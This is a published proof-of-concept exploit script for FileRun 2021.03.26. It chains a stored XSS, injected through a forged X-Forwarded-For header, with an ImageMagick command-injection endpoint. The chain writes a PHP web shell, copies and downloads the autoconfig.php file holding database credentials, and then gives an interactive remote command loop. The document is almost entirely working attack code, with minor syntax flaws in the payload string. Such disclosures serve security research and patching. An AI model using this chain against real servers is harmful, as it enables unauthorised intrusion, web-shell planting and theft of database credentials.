Filerun 2021.03.26 Exploit, Remote Code Execution (RCE) (Authenticated)

# Exploit Title: Filerun 2021.03.26 - Remote Code Execution (RCE) (Authenticated)
# Date: 09/21/2021
# Exploit Author: syntegris information solutions GmbH
# Credits: Christian P.
# Vendor Homepage: https://filerun.com
# Software Link: https://f.afian.se/wl/?id=SkPwYC8dOcMIDWohmyjOqAgdqhRqCZ3X&fmode=download&recipient=d3d3LmZpbGVydW4uY29t
# Version: 2021.03.26
# Tested on: official docker image


# PoC for exploiting a chain of a stored XSS and authenticated Remote Code Execution
import requests
import time
import sys

# this is the plain version of the payload below
"""
var xmlhttp = new XMLHttpRequest();
var url = '/?module=cpanel§ion=settings&page=image_preview&action=checkImageMagick'
var payload = "echo '<?php echo shell_exec($_REQUEST[\'cmd\']); ?>'  > shell.php #";
xmlhttp.onreadystatechange = function() {
	if (xmlhttp.readyState == XMLHttpRequest.DONE) {
	   if (xmlhttp.status == 200) {
		   console.log(xmlhttp.responseText);
	   }
	}
};
xmlhttp.open("POST", url, true);
xmlhttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xmlhttp.send("mode=exec&path=convert|"+payload);
"""

if not len(sys.argv) == 2:
	print("missing target url")
	sys.exit(1)

target = sys.argv[1]


def inject_code():
	payload = "var xmlhttp = new XMLHttpRequest();
var url = '/?module=cpanel&section=settings&page=image_preview&action=checkImageMagick'
var payload = "echo '<?php echo shell_exec($_REQUEST[\'cmd\']); ?>'  > shell.php #";

xmlhttp.onreadystatechange = function() {
	if (xmlhttp.readyState == XMLHttpRequest.DONE) {
	   if (xmlhttp.status == 200) {
		   console.log(xmlhttp.responseText);
	   }
	   else if (xmlhttp.status == 400) {
		  alert('There was an error 400');
	   }
	   else {
		   alert('something else other than 200 was returned');
	   }
	}
};

xmlhttp.open("POST", url, true);
xmlhttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xmlhttp.send("mode=exec&path=convert|"+payload);
"
	req = requests.post(
		"%s/?module=fileman&page=login&action=login" % target,
		data={'username': 'nonexistend', 'password': 'wrong', 'otp':'',
		'two_step_secret':'','language':''}, headers={'X-Forwarded-For': '<img src="/asdasdasd" onerror=%s >' % payload}
	)


def check_shell_exists():
	req = requests.get("%s/shell.php" % target)
	if req.status_code != 200:
		return False
	return True

def process_command(command):
	req = requests.get("%s/shell.php?cmd=%s" % (target, command))
	print(req.text)

while True:
	print("Injecting new log message...")
	inject_code()
	time.sleep(10)
	if check_shell_exists():
		print("Shell exists under '%s/shell.php?cmd=ls'" % target)
		break
print("Lets get autoconfig.php which contains database credentials...")
process_command("cp system/data/autoconfig.php js/autoconfig.txt")

ac_resp = requests.get("%s/js/autoconfig.txt" % target)
with open("filerun.autoconfig.php", "wb") as ac_f:
	ac_f.write(ac_resp.content)
process_command("rm js/autoconfig.php")

while True:
	command = input("Command:")
	process_command(command)

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